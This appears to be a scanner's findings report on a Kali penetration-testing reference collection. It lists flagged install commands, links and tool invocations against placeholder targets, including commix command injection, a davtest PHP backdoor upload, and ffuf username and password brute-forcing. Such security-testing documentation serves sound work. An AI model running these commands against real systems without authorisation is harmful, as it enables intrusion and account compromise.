    # Scan by tags nuclei -u http://target.com -tags lfi,ssrf,rce
  • Network accessline 90
    nuclei -u http://target.com -tags lfi,ssrf,rce
  • Network accessline 91
    nuclei -u http://target.com -tags log4j
  • Network accessline 93
    # Specify a particular CVE nuclei -u http://target.com -id CVE-2021-44228
  • Network accessline 94
    nuclei -u http://target.com -id CVE-2021-44228
  • Network accessline 95
    nuclei -u http://target.com -id CVE-2021-44228,CVE-2022-22965
  • Network accessline 97
    # JSONL output (one result per line) nuclei -u http://target.com -jsonl -o /tmp/nuclei_results.jsonl
  • Network accessline 98
    nuclei -u http://target.com -jsonl -o /tmp/nuclei_results.jsonl
  • Network accessline 100
    # JSON export (single structured JSON file) nuclei -u http://target.com -json-export /tmp/nuclei_results.json
  • Network accessline 101
    nuclei -u http://target.com -json-export /tmp/nuclei_results.json
  • Network accessline 103
    # Rate limiting (to avoid WAF) nuclei -u http://target.com -rate-limit 50 -c 10
  • Network accessline 104
    nuclei -u http://target.com -rate-limit 50 -c 10
  • Network accessline 109
    # Use a proxy nuclei -u http://target.com -proxy http://127.0.0.1:8080
  • Network accessline 110
    nuclei -u http://target.com -proxy http://127.0.0.1:8080
  • Network accessline 112
    [Credential-related source omitted]
  • Network accessline 113
    [Credential-related source omitted]
  • Network accessline 120
    3. Use `-rate-limit` and `-c` to throttle scan speed when testing production systems or when behind a WAF — aggressive defaults can trigger rate limiting or IP bans. 4. **Zero output with no error**: add `-v` to check whether templates are 
  • Network accessline 121
    4. **Zero output with no error**: add `-v` to check whether templates are actually being loaded. If no probes appear, the template path is wrong — use the `find` command from the Template Directories section above and pass the result explic
  • Network accessline 122
    5. **Authenticated endpoints with custom signing**: `-H` only injects static headers — it cannot compute per-request signatures. For APIs requiring dynamic signing (HMAC, timestamp+nonce), build a local signing proxy and pass `-proxy http:/
  • Network accessline 129
    - [Nuclei GitHub](https://github.com/projectdiscovery/nuclei)
  • Network accessline 130
    - [Nuclei Documentation](https://docs.projectdiscovery.io/tools/nuclei)
  • Network accessline 131
    - [Nuclei Templates](https://github.com/projectdiscovery/nuclei-templates)

kali-pentest/references/vulnerability/tools/onesixtyone.md

  • Dangerous shell operationline 15
    sudo apt install onesixtyone
  • Network accessline 62
    - [onesixtyone (GitHub)](https://github.com/trailofbits/onesixtyone)
  • Network accessline 63
    - [Kali onesixtyone](https://www.kali.org/tools/onesixtyone/)

kali-pentest/references/vulnerability/tools/openvas.md

  • Dangerous shell operationline 15
    sudo apt install gvm
  • Dangerous shell operationline 18
    sudo gvm-setup
  • Dangerous shell operationline 20
    sudo gvm-check-setup
  • Dangerous shell operationline 23
    sudo gvm-start
  • Network accessline 33
    # Access the Greenbone Security Assistant (GSA) Web interface # https://127.0.0.1:9392
  • Network accessline 34
    # https://127.0.0.1:9392
  • Dangerous shell operationline 39
    sudo greenbone-feed-sync
  • Network accessline 135
    - [Greenbone Documentation](https://greenbone.github.io/docs/)
  • Network accessline 136
    - [OpenVAS Scanner GitHub](https://github.com/greenbone/openvas-scanner)
  • Network accessline 137
    - [Greenbone Vulnerability Management](https://www.greenbone.net/en/vulnerability-management/)

kali-pentest/references/vulnerability/tools/smbmap.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install smbmap
  • Network accessline 70
    - [smbmap GitHub](https://github.com/ShawnDEvans/smbmap)
  • Network accessline 71
    - [Kali smbmap](https://www.kali.org/tools/smbmap/)

kali-pentest/references/vulnerability/tools/smtp-user-enum.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install smtp-user-enum
  • Network accessline 78
    - [smtp-user-enum by pentestmonkey](https://pentestmonkey.net/tools/user-enumeration/smtp-user-enum)
  • Network accessline 79
    - [Kali smtp-user-enum](https://www.kali.org/tools/smtp-user-enum/)

kali-pentest/references/vulnerability/tools/snmpcheck.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install snmpcheck
  • Network accessline 60
    - [Kali snmpcheck](https://www.kali.org/tools/snmpcheck/)

kali-pentest/references/vulnerability/tools/snmpwalk.md

  • Dangerous shell operationline 15
    sudo apt install snmp
  • Network accessline 71
    - [snmpwalk Man Page (net-snmp)](http://www.net-snmp.org/docs/man/snmpwalk.html)

kali-pentest/references/vulnerability/tools/sslscan.md

  • Dangerous shell operationline 15
    sudo apt install sslscan
  • Network accessline 69
    - [sslscan GitHub](https://github.com/rbsec/sslscan)

kali-pentest/references/vulnerability/tools/sslyze.md

  • Dangerous shell operationline 15
    sudo apt install sslyze
  • Network accessline 91
    - [sslyze (GitHub)](https://github.com/nabla-c0d3/sslyze)
  • Network accessline 92
    - [sslyze Documentation](https://nabla-c0d3.github.io/sslyze/documentation/)
  • Network accessline 93
    - [Kali sslyze](https://www.kali.org/tools/sslyze/)

kali-pentest/references/vulnerability/tools/swaks.md

  • Dangerous shell operationline 15
    sudo apt install swaks
  • Network accessline 93
    - [swaks Official Site](https://www.jetmore.org/john/code/swaks/)
  • Network accessline 94
    - [Kali swaks](https://www.kali.org/tools/swaks/)

kali-pentest/references/vulnerability/tools/testssl.sh.md

  • Dangerous shell operationline 15
    sudo apt install testssl.sh
  • Network accessline 15
    sudo apt install testssl.sh # Or run directly from GitHub (requires bash 4+ and openssl): git clone https://github.com/drwetter/testssl.sh.git
  • Network accessline 16
    # Or run directly from GitHub (requires bash 4+ and openssl): git clone https://github.com/drwetter/testssl.sh.git cd testssl.sh && ./testssl.sh --help
  • Network accessline 17
    git clone https://github.com/drwetter/testssl.sh.git
  • Network accessline 76
    - [testssl.sh (GitHub)](https://github.com/drwetter/testssl.sh)
  • Network accessline 77
    - [Kali testssl.sh](https://www.kali.org/tools/testssl.sh/)

kali-pentest/references/vulnerability/tools/trivy.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install trivy
  • Network accessline 48
    # Scan a remote Git repository trivy repo --scanners vuln,secret,misconfig https://github.com/example/repo
  • Network accessline 49
    trivy repo --scanners vuln,secret,misconfig https://github.com/example/repo
  • Network accessline 67
    - [Trivy Documentation](https://trivy.dev/latest/docs/)
  • Network accessline 68
    - [Trivy GitHub](https://github.com/aquasecurity/trivy)
  • Network accessline 69
    - [Kali trivy](https://www.kali.org/tools/trivy/)

kali-pentest/references/web/README.md

  • Network accessline 23
    | Black-box web vulnerability scanning | `wapiti` | — | | WebDAV testing | `davtest` | — | | Traffic proxy | `mitmproxy` / `mitmdump` | Use `curl -x` when only request replay is needed |
  • Network accessline 24
    | WebDAV testing | `davtest` | — | | Traffic proxy | `mitmproxy` / `mitmdump` | Use `curl -x` when only request replay is needed | | Padding oracle | `padbuster` | — |
  • Network accessline 25
    | Traffic proxy | `mitmproxy` / `mitmdump` | Use `curl -x` when only request replay is needed |
  • Network accessline 231
    - [OWASP Top 10](https://owasp.org/www-project-top-ten/)
  • Network accessline 232
    - [Kali Tools](https://www.kali.org/tools/all-tools/)

kali-pentest/references/web/tools/arjun.md

  • Dangerous shell operationline 16
    sudo apt install arjun
  • Network accessline 42
    # Discover GET parameters arjun -u http://target.com/search
  • Network accessline 43
    arjun -u http://target.com/search
  • Network accessline 45
    # Discover POST parameters arjun -u http://target.com/api -m POST
  • Network accessline 46
    arjun -u http://target.com/api -m POST
  • Network accessline 48
    # JSON body parameters arjun -u http://target.com/api -m JSON
  • Network accessline 49
    arjun -u http://target.com/api -m JSON
  • Network accessline 54
    # Custom wordlist arjun -u http://target.com/ -w /path/to/params.txt
  • Network accessline 55
    arjun -u http://target.com/ -w /path/to/params.txt
  • Network accessline 57
    # With Cookie (JSON dict format required) arjun -u http://target.com/ --headers '{"Cookie": "session=abc123"}'
  • Network accessline 58
    arjun -u http://target.com/ --headers '{"Cookie": "session=abc123"}'
  • Network accessline 60
    # JSON output arjun -u http://target.com/ -oJ /tmp/params.json
  • Network accessline 61
    arjun -u http://target.com/ -oJ /tmp/params.json
  • Network accessline 63
    # Concurrent arjun -u http://target.com/ -t 10
  • Network accessline 64
    arjun -u http://target.com/ -t 10
  • Network accessline 79
    - [Arjun GitHub](https://github.com/s0md3v/Arjun)

kali-pentest/references/web/tools/clairvoyance.md

  • Network accessline 41
    # Recover schema from GraphQL endpoint clairvoyance -o /tmp/schema.json https://target/graphql
  • Network accessline 42
    clairvoyance -o /tmp/schema.json https://target/graphql
  • Network accessline 44
    [Credential-related source omitted]
  • Network accessline 45
    [Credential-related source omitted]
  • Network accessline 47
    # Use a wordlist for brute-forcing with validation clairvoyance -w /tmp/graphql_wordlist.txt -wv -o /tmp/schema.json https://target/graphql
  • Network accessline 48
    clairvoyance -w /tmp/graphql_wordlist.txt -wv -o /tmp/schema.json https://target/graphql
  • Network accessline 50
    # Slow profile for rate-limited targets (1 concurrent, 50 retries, backoff 2) clairvoyance -p slow -o /tmp/schema.json https://target/graphql
  • Network accessline 51
    clairvoyance -p slow -o /tmp/schema.json https://target/graphql
  • Network accessline 53
    # Use a proxy and supplemental input schema clairvoyance -x http://127.0.0.1:8080 -i /tmp/partial.json -o /tmp/schema.json https://target/graphql
  • Network accessline 54
    clairvoyance -x http://127.0.0.1:8080 -i /tmp/partial.json -o /tmp/schema.json https://target/graphql
  • Network accessline 56
    # Disable SSL verification with verbose output and progress bar clairvoyance -k -v --progress -o /tmp/schema.json https://target/graphql
  • Network accessline 57
    clairvoyance -k -v --progress -o /tmp/schema.json https://target/graphql
  • Network accessline 71
    - [Clairvoyance GitHub](https://github.com/nikitastupin/clairvoyance)

kali-pentest/references/web/tools/cmseek.md

  • Dangerous shell operationline 15
    sudo apt install cmseek
  • Network accessline 42
    # Detect CMS and enumerate cmseek -u http://example.com
  • Network accessline 43
    cmseek -u http://example.com
  • Network accessline 45
    # Follow redirects (required for most HTTPS sites) cmseek -u http://example.com --follow-redirect
  • Network accessline 46
    cmseek -u http://example.com --follow-redirect
  • Network accessline 51
    # Bypass basic WAF User-Agent filtering cmseek -u http://example.com --random-agent --follow-redirect
  • Network accessline 52
    cmseek -u http://example.com --random-agent --follow-redirect
  • Network accessline 54
    # Verbose mode cmseek -u http://example.com -v
  • Network accessline 55
    cmseek -u http://example.com -v
  • Network accessline 60
    1. cmseek covers 180+ CMS types — use it first when you don't know the target CMS, then pivot to specialized tools. 2. Results are saved to `Result/<domain>/cms.json` — review it for version, detected users, and vulnerability data. 3. If de
  • Network accessline 61
    2. Results are saved to `Result/<domain>/cms.json` — review it for version, detected users, and vulnerability data. 3. If detection fails, inspect headers manually: `curl -I http://example.com` often reveals CMS through `X-Powered-By`, cook
  • Network accessline 62
    3. If detection fails, inspect headers manually: `curl -I http://example.com` often reveals CMS through `X-Powered-By`, cookies, or generator meta tags.
  • Network accessline 64
    5. Detected version + nuclei CVE templates is a powerful combination: `nuclei -t http/cves/ -u http://example.com` after cmseek identifies the CMS.
  • Network accessline 70
    - [CMSeeK (GitHub)](https://github.com/Tuhinshubhra/CMSeeK)
  • Network accessline 71
    - [Kali cmseek](https://www.kali.org/tools/cmseek/)

kali-pentest/references/web/tools/commix.md

  • Dangerous shell operationline 15
    sudo apt install commix
  • Network accessline 40
    # Detect GET parameter commix --url="http://target.com/ping?host=INJECT_HERE"
  • Network accessline 41
    commix --url="http://target.com/ping?host=INJECT_HERE"
  • Network accessline 43
    # POST parameter commix --url="http://target.com/" --data="ip=INJECT_HERE"
  • Network accessline 44
    commix --url="http://target.com/" --data="ip=INJECT_HERE"
  • Network accessline 46
    # Auto-detect parameter (without specifying INJECT_HERE) commix --url="http://target.com/ping?host=127.0.0.1"
  • Network accessline 47
    commix --url="http://target.com/ping?host=127.0.0.1"
  • Network accessline 49
    # Execute a command commix --url="http://target.com/ping?host=127.0.0.1" --os-cmd="id"
  • Network accessline 50
    commix --url="http://target.com/ping?host=127.0.0.1" --os-cmd="id"
  • Network accessline 55
    # Use proxy (through Burp) commix --url="http://target.com/ping?host=127.0.0.1" --proxy="http://127.0.0.1:8080"
  • Network accessline 56
    commix --url="http://target.com/ping?host=127.0.0.1" --proxy="http://127.0.0.1:8080"
  • Network accessline 71
    - [commix GitHub](https://github.com/commixproject/commix)

kali-pentest/references/web/tools/crlfuzz.md

  • Dangerous shell operationline 15
    sudo apt install crlfuzz
  • Network accessline 37
    # Test a single URL crlfuzz -u "http://example.com/page?param=value"
  • Network accessline 38
    crlfuzz -u "http://example.com/page?param=value"
  • Network accessline 49
    # Route through Burp Suite proxy crlfuzz -u "http://example.com/?q=test" --proxy http://127.0.0.1:8080
  • Network accessline 50
    crlfuzz -u "http://example.com/?q=test" --proxy http://127.0.0.1:8080
  • Network accessline 65
    - [CRLFuzz (GitHub)](https://github.com/dwisiswant0/crlfuzz)
  • Network accessline 66
    - [Kali crlfuzz](https://www.kali.org/tools/crlfuzz/)

kali-pentest/references/web/tools/dalfox.md

  • Dangerous shell operationline 15
    sudo apt install dalfox
  • Network accessline 20
    # Alternative: download release binary from GitHub curl -sL https://github.com/hahwul/dalfox/releases/latest/download/dalfox-linux-amd64.tar.gz | tar xz -C /tmp/ && mv /tmp/dalfox-linux-amd64 /usr/local/bin/dalfox
  • Network accessline 21
    curl -sL https://github.com/hahwul/dalfox/releases/latest/download/dalfox-linux-amd64.tar.gz | tar xz -C /tmp/ && mv /tmp/dalfox-linux-amd64 /usr/local/bin/dalfox
  • Network accessline 51
    # Basic XSS scan dalfox url http://target.com/search?q=test
  • Network accessline 52
    dalfox url http://target.com/search?q=test
  • Network accessline 54
    # POST parameters dalfox url http://target.com/search --data "q=test&page=1"
  • Network accessline 55
    dalfox url http://target.com/search --data "q=test&page=1"
  • Network accessline 57
    # With Cookie dalfox url http://target.com/ -C "session=abc123"
  • Network accessline 58
    dalfox url http://target.com/ -C "session=abc123"
  • Network accessline 63
    # Pipe input echo "http://target.com/search?q=test" | dalfox pipe
  • Network accessline 64
    echo "http://target.com/search?q=test" | dalfox pipe
  • Network accessline 69
    # Use proxy dalfox url http://target.com/search?q=test --proxy http://127.0.0.1:8080
  • Network accessline 70
    dalfox url http://target.com/search?q=test --proxy http://127.0.0.1:8080
  • Network accessline 72
    # Specify payload dalfox url http://target.com/ --custom-payload /tmp/xss_payloads.txt
  • Network accessline 73
    dalfox url http://target.com/ --custom-payload /tmp/xss_payloads.txt
  • Network accessline 75
    # JSON output dalfox url http://target.com/search?q=test --format json -o /tmp/xss_results.json
  • Network accessline 76
    dalfox url http://target.com/search?q=test --format json -o /tmp/xss_results.json
  • Network accessline 92
    - [dalfox GitHub](https://github.com/hahwul/dalfox)
  • Network accessline 93
    - [dalfox Documentation](https://dalfox.hahwul.com/page/overview/)

kali-pentest/references/web/tools/davtest.md

  • Dangerous shell operationline 17
    sudo apt install davtest
  • Network accessline 42
    # Basic WebDAV test — upload test files and check execution davtest -url http://target.com/webdav/
  • Network accessline 43
    davtest -url http://target.com/webdav/
  • Network accessline 45
    # Authenticated WebDAV test davtest -url http://target.com/webdav/ -auth admin:password
  • Network accessline 46
    davtest -url http://target.com/webdav/ -auth admin:password
  • Network accessline 48
    # Test with cleanup (remove uploaded files after testing) davtest -url http://target.com/webdav/ -cleanup
  • Network accessline 49
    davtest -url http://target.com/webdav/ -cleanup
  • Network accessline 51
    # Send a PHP backdoor after confirming PHP execution davtest -url http://target.com/webdav/ -sendbd php
  • Network accessline 52
    davtest -url http://target.com/webdav/ -sendbd php
  • Network accessline 54
    # Test MOVE method (bypass extension filters) davtest -url http://target.com/webdav/ -move
  • Network accessline 55
    davtest -url http://target.com/webdav/ -move
  • Network accessline 57
    # Upload a specific file to a target location davtest -url http://target.com/webdav/ -uploadfile /tmp/shell.aspx -uploadloc shell.aspx
  • Network accessline 58
    davtest -url http://target.com/webdav/ -uploadfile /tmp/shell.aspx -uploadloc shell.aspx
  • Network accessline 60
    # Test in a specific remote directory with custom prefix davtest -url http://target.com/webdav/ -directory uploads -rand testfile
  • Network accessline 61
    davtest -url http://target.com/webdav/ -directory uploads -rand testfile
  • Network accessline 63
    # Quiet mode — summary output only davtest -url http://target.com/webdav/ -cleanup -quiet
  • Network accessline 64
    davtest -url http://target.com/webdav/ -cleanup -quiet
  • Network accessline 81
    - [davtest GitHub](https://github.com/cldrn/davtest)
  • Network accessline 82
    - [Kali davtest](https://www.kali.org/tools/davtest/)

kali-pentest/references/web/tools/dirb.md

  • Dangerous shell operationline 15
    sudo apt install dirb -y
  • Network accessline 25
    | `-z <ms>` | Add a milliseconds delay to not cause excessive flood | | `-a <agent>` | Custom User-Agent string | | `-p <proxy>` | Use proxy (`http://host:port`) |
  • Network accessline 26
    | `-a <agent>` | Custom User-Agent string | | `-p <proxy>` | Use proxy (`http://host:port`) | | `-c <cookie>` | Set a cookie for the HTTP request |
  • Network accessline 27
    | `-p <proxy>` | Use proxy (`http://host:port`) |
  • Network accessline 46
    # Scan with default wordlist dirb http://target.com
  • Network accessline 47
    dirb http://target.com
  • Network accessline 49
    # Scan with custom wordlist dirb http://target.com /usr/share/wordlists/dirb/big.txt
  • Network accessline 50
    dirb http://target.com /usr/share/wordlists/dirb/big.txt
  • Network accessline 56
    # Scan for specific file extensions dirb http://target.com -X .php,.html,.txt
  • Network accessline 57
    dirb http://target.com -X .php,.html,.txt
  • Network accessline 59
    # Scan for backup and sensitive files dirb http://target.com -X .bak,.old,.zip,.sql,.conf
  • Network accessline 60
    dirb http://target.com -X .bak,.old,.zip,.sql,.conf
  • Network accessline 66
    # Route through Burp Suite dirb http://target.com -p http://127.0.0.1:8080
  • Network accessline 67
    dirb http://target.com -p http://127.0.0.1:8080
  • Network accessline 73
    [Credential-related source omitted]
  • Network accessline 74
    [Credential-related source omitted]
  • Network accessline 76
    [Credential-related source omitted]
  • Network accessline 77
    [Credential-related source omitted]
  • Network accessline 79
    # HTTP basic authentication dirb http://target.com -u admin:password123
  • Network accessline 80
    dirb http://target.com -u admin:password123
  • Network accessline 86
    # Disable recursion and add delay to avoid rate limiting dirb http://target.com -r -z 100
  • Network accessline 87
    dirb http://target.com -r -z 100
  • Network accessline 93
    # Full scan with extensions, save results dirb http://target.com /usr/share/wordlists/dirb/common.txt \
  • Network accessline 94
    dirb http://target.com /usr/share/wordlists/dirb/common.txt \
  • Network accessline 102
    # Reduce output noise and set custom User-Agent dirb http://target.com -S -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
  • Network accessline 103
    dirb http://target.com -S -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
  • Network accessline 118
    - [dirb SourceForge](https://dirb.sourceforge.net/)
  • Network accessline 119
    - [Kali Tools - dirb](https://www.kali.org/tools/dirb/)

kali-pentest/references/web/tools/dirsearch.md

  • Dangerous shell operationline 15
    sudo apt install dirsearch
  • Network accessline 53
    # Basic scan with common extensions dirsearch -u http://example.com -e php,html,js
  • Network accessline 54
    dirsearch -u http://example.com -e php,html,js
  • Network accessline 56
    # Recursive scan dirsearch -u http://example.com -e php -r
  • Network accessline 57
    dirsearch -u http://example.com -e php -r
  • Network accessline 59
    # Save results to JSON dirsearch -u http://example.com -e php,html --format json -o results.json
  • Network accessline 60
    dirsearch -u http://example.com -e php,html --format json -o results.json
  • Network accessline 62
    # Custom wordlist dirsearch -u http://example.com -w /usr/share/wordlists/dirb/big.txt
  • Network accessline 63
    dirsearch -u http://example.com -w /usr/share/wordlists/dirb/big.txt
  • Network accessline 65
    # Exclude 404 and 403 responses dirsearch -u http://example.com -e php -x 404,403
  • Network accessline 66
    dirsearch -u http://example.com -e php -x 404,403
  • Network accessline 68
    [Credential-related source omitted]
  • Network accessline 69
    [Credential-related source omitted]
  • Network accessline 71
    # Route through Burp Suite proxy dirsearch -u http://example.com -e php --proxy http://127.0.0.1:8080
  • Network accessline 72
    dirsearch -u http://example.com -e php --proxy http://127.0.0.1:8080
  • Network accessline 74
    # Increase threads for speed dirsearch -u http://example.com -e php -t 50
  • Network accessline 75
    dirsearch -u http://example.com -e php -t 50
  • Network accessline 90
    - [dirsearch (GitHub)](https://github.com/maurosoria/dirsearch)
  • Network accessline 91
    - [Kali dirsearch](https://www.kali.org/tools/dirsearch/)

kali-pentest/references/web/tools/feroxbuster.md

  • Dangerous shell operationline 15
    sudo apt install feroxbuster
  • Network accessline 44
    # Basic scan feroxbuster -u http://target.com -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 45
    feroxbuster -u http://target.com -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 47
    # Specify extensions feroxbuster -u http://target.com -w wordlist.txt -x php,html,txt,bak,zip
  • Network accessline 48
    feroxbuster -u http://target.com -w wordlist.txt -x php,html,txt,bak,zip
  • Network accessline 50
    # HTTPS (ignore certificate) feroxbuster -u https://target.com -w wordlist.txt -k
  • Network accessline 51
    feroxbuster -u https://target.com -w wordlist.txt -k
  • Network accessline 53
    # Limit recursion depth feroxbuster -u http://target.com -w wordlist.txt -d 2
  • Network accessline 54
    feroxbuster -u http://target.com -w wordlist.txt -d 2
  • Network accessline 56
    # Filter 404 and 403 feroxbuster -u http://target.com -w wordlist.txt -C 404,403
  • Network accessline 57
    feroxbuster -u http://target.com -w wordlist.txt -C 404,403
  • Network accessline 59
    [Credential-related source omitted]
  • Network accessline 60
    [Credential-related source omitted]
  • Network accessline 61
    feroxbuster -u http://target.com -w wordlist.txt -b "session=abc123"
  • Network accessline 63
    # Output to file feroxbuster -u http://target.com -w wordlist.txt -o /tmp/ferox_results.txt
  • Network accessline 64
    feroxbuster -u http://target.com -w wordlist.txt -o /tmp/ferox_results.txt
  • Network accessline 66
    # Rate limiting (to avoid triggering WAF) feroxbuster -u http://target.com -w wordlist.txt --rate-limit 100
  • Network accessline 67
    feroxbuster -u http://target.com -w wordlist.txt --rate-limit 100
  • Network accessline 69
    # Use proxy feroxbuster -u http://target.com -w wordlist.txt --proxy http://127.0.0.1:8080
  • Network accessline 70
    feroxbuster -u http://target.com -w wordlist.txt --proxy http://127.0.0.1:8080
  • Network accessline 85
    - [feroxbuster GitHub](https://github.com/epi052/feroxbuster)
  • Network accessline 86
    - [feroxbuster Documentation](https://epi052.github.io/feroxbuster-docs/overview/)

kali-pentest/references/web/tools/ffuf.md

  • Network accessline 100
    # Simplest usage ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 101
    ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 103
    # 50 threads, filter 404 ffuf -u http://target.com/FUZZ \
  • Network accessline 104
    ffuf -u http://target.com/FUZZ \
  • Network accessline 112
    # Use two FUZZ keywords (need to specify different variable names) ffuf -u http://target.com/FUZZ.EXT \
  • Network accessline 113
    ffuf -u http://target.com/FUZZ.EXT \
  • Network accessline 118
    # Common: fixed extensions ffuf -u "http://target.com/FUZZ" \
  • Network accessline 119
    ffuf -u "http://target.com/FUZZ" \
  • Network accessline 127
    # -ac automatically detects response patterns and filters false positives ffuf -u http://target.com/FUZZ \
  • Network accessline 128
    ffuf -u http://target.com/FUZZ \
  • Network accessline 132
    # Filter by response size (run once first to find default size, then filter) ffuf -u http://target.com/FUZZ \
  • Network accessline 133
    ffuf -u http://target.com/FUZZ \
  • Network accessline 141
    # GET parameter name enumeration ffuf -u "http://target.com/page.php?FUZZ=test" \
  • Network accessline 142
    ffuf -u "http://target.com/page.php?FUZZ=test" \
  • Network accessline 146
    # POST parameter enumeration ffuf -u http://target.com/login.php \
  • Network accessline 147
    ffuf -u http://target.com/login.php \
  • Network accessline 153
    # Parameter value fuzzing (known parameter name) ffuf -u "http://target.com/page.php?id=FUZZ" \
  • Network accessline 154
    ffuf -u "http://target.com/page.php?id=FUZZ" \
  • Network accessline 161
    # DNS-based subdomain brute-force: FUZZ the hostname in the URL (DNS must resolve each) ffuf -u http://FUZZ.target.com \
  • Network accessline 162
    ffuf -u http://FUZZ.target.com \
  • Network accessline 172
    ffuf -u http://10.10.10.10 \
  • Network accessline 181
    # Username enumeration (test which usernames exist) ffuf -u http://target.com/login.php \
  • Network accessline 182
    ffuf -u http://target.com/login.php \
  • Network accessline 189
    # Password brute-forcing ffuf -u http://target.com/login.php \
  • Network accessline 190
    ffuf -u http://target.com/login.php \
  • Network accessline 201
    ffuf -u http://target.com/FUZZ \
  • Network accessline 220
    ffuf -u http://target.com/FUZZ \
  • Network accessline 241
    - [ffuf GitHub](https://github.com/ffuf/ffuf)

kali-pentest/references/web/tools/gitleaks.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install gitleaks
  • Network accessline 79
    - [Gitleaks GitHub](https://github.com/gitleaks/gitleaks)
  • Network accessline 80
    - [Gitleaks Website](https://gitleaks.io/)
  • Network accessline 81
    - [Kali gitleaks](https://www.kali.org/tools/gitleaks/)

kali-pentest/references/web/tools/gobuster.md

  • Network accessline 125
    # Scan using common.txt wordlist gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 126
    gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 128
    # Multi-thread acceleration (50 threads) gobuster dir -u http://target.com \
  • Network accessline 129
    gobuster dir -u http://target.com \
  • Network accessline 133
    # Show full URLs gobuster dir -u http://target.com \
  • Network accessline 134
    gobuster dir -u http://target.com \
  • Network accessline 142
    # Enumerate PHP and HTML files gobuster dir -u http://target.com \
  • Network accessline 143
    gobuster dir -u http://target.com \
  • Network accessline 147
    # Enumerate backup files gobuster dir -u http://target.com \
  • Network accessline 148
    gobuster dir -u http://target.com \
  • Network accessline 156
    # Cookie authentication gobuster dir -u http://target.com/admin \
  • Network accessline 157
    gobuster dir -u http://target.com/admin \
  • Network accessline 161
    # HTTP basic authentication gobuster dir -u http://target.com/admin \
  • Network accessline 162
    gobuster dir -u http://target.com/admin \
  • Network accessline 166
    # Custom header (Bearer Token) gobuster dir -u http://target.com/api \
  • Network accessline 167
    gobuster dir -u http://target.com/api \
  • Network accessline 175
    # Show only 200 responses gobuster dir -u http://target.com \
  • Network accessline 176
    gobuster dir -u http://target.com \
  • Network accessline 180
    # Exclude 403 and 404 (blacklist; overrides --status-codes if set) gobuster dir -u http://target.com \
  • Network accessline 181
    gobuster dir -u http://target.com \
  • Network accessline 207
    gobuster vhost -u http://10.10.10.10 \
  • Network accessline 211
    # Exclude specific response lengths (filter default pages) gobuster vhost -u http://10.10.10.10 \
  • Network accessline 212
    gobuster vhost -u http://10.10.10.10 \
  • Network accessline 220
    gobuster dir -u https://target.com \
  • Network accessline 221
    -w /usr/share/wordlists/dirb/common.txt \   --proxy http://127.0.0.1:8080 \   --no-tls-validation
  • Network accessline 222
    --proxy http://127.0.0.1:8080 \
  • Network accessline 229
    gobuster dir -u http://target.com \
  • Network accessline 248
    - [gobuster GitHub](https://github.com/OJ/gobuster)

kali-pentest/references/web/tools/gospider.md

  • Dangerous shell operationline 15
    sudo apt install gospider
  • Network accessline 39
    # Basic crawl of a single site gospider -s http://example.com
  • Network accessline 40
    gospider -s http://example.com
  • Network accessline 42
    # Crawl to depth 3 with sitemap and robots gospider -s http://example.com -d 3 --sitemap --robots
  • Network accessline 43
    gospider -s http://example.com -d 3 --sitemap --robots
  • Network accessline 45
    # Include historical URLs from external sources gospider -s http://example.com --other-source
  • Network accessline 46
    gospider -s http://example.com --other-source
  • Network accessline 51
    # Save output to directory gospider -s http://example.com -o ./results
  • Network accessline 52
    gospider -s http://example.com -o ./results
  • Network accessline 54
    # Route through Burp Suite proxy gospider -s http://example.com --proxy http://127.0.0.1:8080 -d 2
  • Network accessline 55
    gospider -s http://example.com --proxy http://127.0.0.1:8080 -d 2
  • Network accessline 70
    - [gospider (GitHub)](https://github.com/jaeles-project/gospider)
  • Network accessline 71
    - [Kali gospider](https://www.kali.org/tools/gospider/)

kali-pentest/references/web/tools/graphw00f.md

  • Network accessline 15
    # Pre-installed on Kali at /opt/graphw00f # Or install manually: git clone https://github.com/dolevf/graphw00f.git
  • Network accessline 16
    # Or install manually: git clone https://github.com/dolevf/graphw00f.git cd graphw00f
  • Network accessline 17
    git clone https://github.com/dolevf/graphw00f.git
  • Network accessline 42
    # Fingerprint GraphQL endpoint python3 /opt/graphw00f/main.py -f -t https://target/graphql
  • Network accessline 43
    python3 /opt/graphw00f/main.py -f -t https://target/graphql
  • Network accessline 45
    # Detect mode — scan for GraphQL endpoints python3 /opt/graphw00f/main.py -d -t https://target/graphql
  • Network accessline 46
    python3 /opt/graphw00f/main.py -d -t https://target/graphql
  • Network accessline 48
    # Fingerprint through a proxy with custom timeout python3 /opt/graphw00f/main.py -f -t https://target/graphql -p http://127.0.0.1:8080 -T 10
  • Network accessline 49
    python3 /opt/graphw00f/main.py -f -t https://target/graphql -p http://127.0.0.1:8080 -T 10
  • Network accessline 65
    - [graphw00f GitHub](https://github.com/dolevf/graphw00f)

kali-pentest/references/web/tools/grpcurl.md

  • Network accessline 75
    - [grpcurl GitHub](https://github.com/fullstorydev/grpcurl)

kali-pentest/references/web/tools/joomscan.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install joomscan
  • Network accessline 39
    # Basic Joomla scan joomscan -u https://target.com/
  • Network accessline 40
    joomscan -u https://target.com/
  • Network accessline 42
    # Enumerate Joomla components joomscan -u https://target.com/ --enumerate-components
  • Network accessline 43
    joomscan -u https://target.com/ --enumerate-components
  • Network accessline 45
    # Authenticated or session-aware scan using a cookie joomscan -u https://target.com/ --cookie "PHPSESSID=value; other=value"
  • Network accessline 46
    joomscan -u https://target.com/ --cookie "PHPSESSID=value; other=value"
  • Network accessline 48
    # Use a custom User-Agent joomscan -u https://target.com/ -a "Mozilla/5.0"
  • Network accessline 49
    joomscan -u https://target.com/ -a "Mozilla/5.0"
  • Network accessline 51
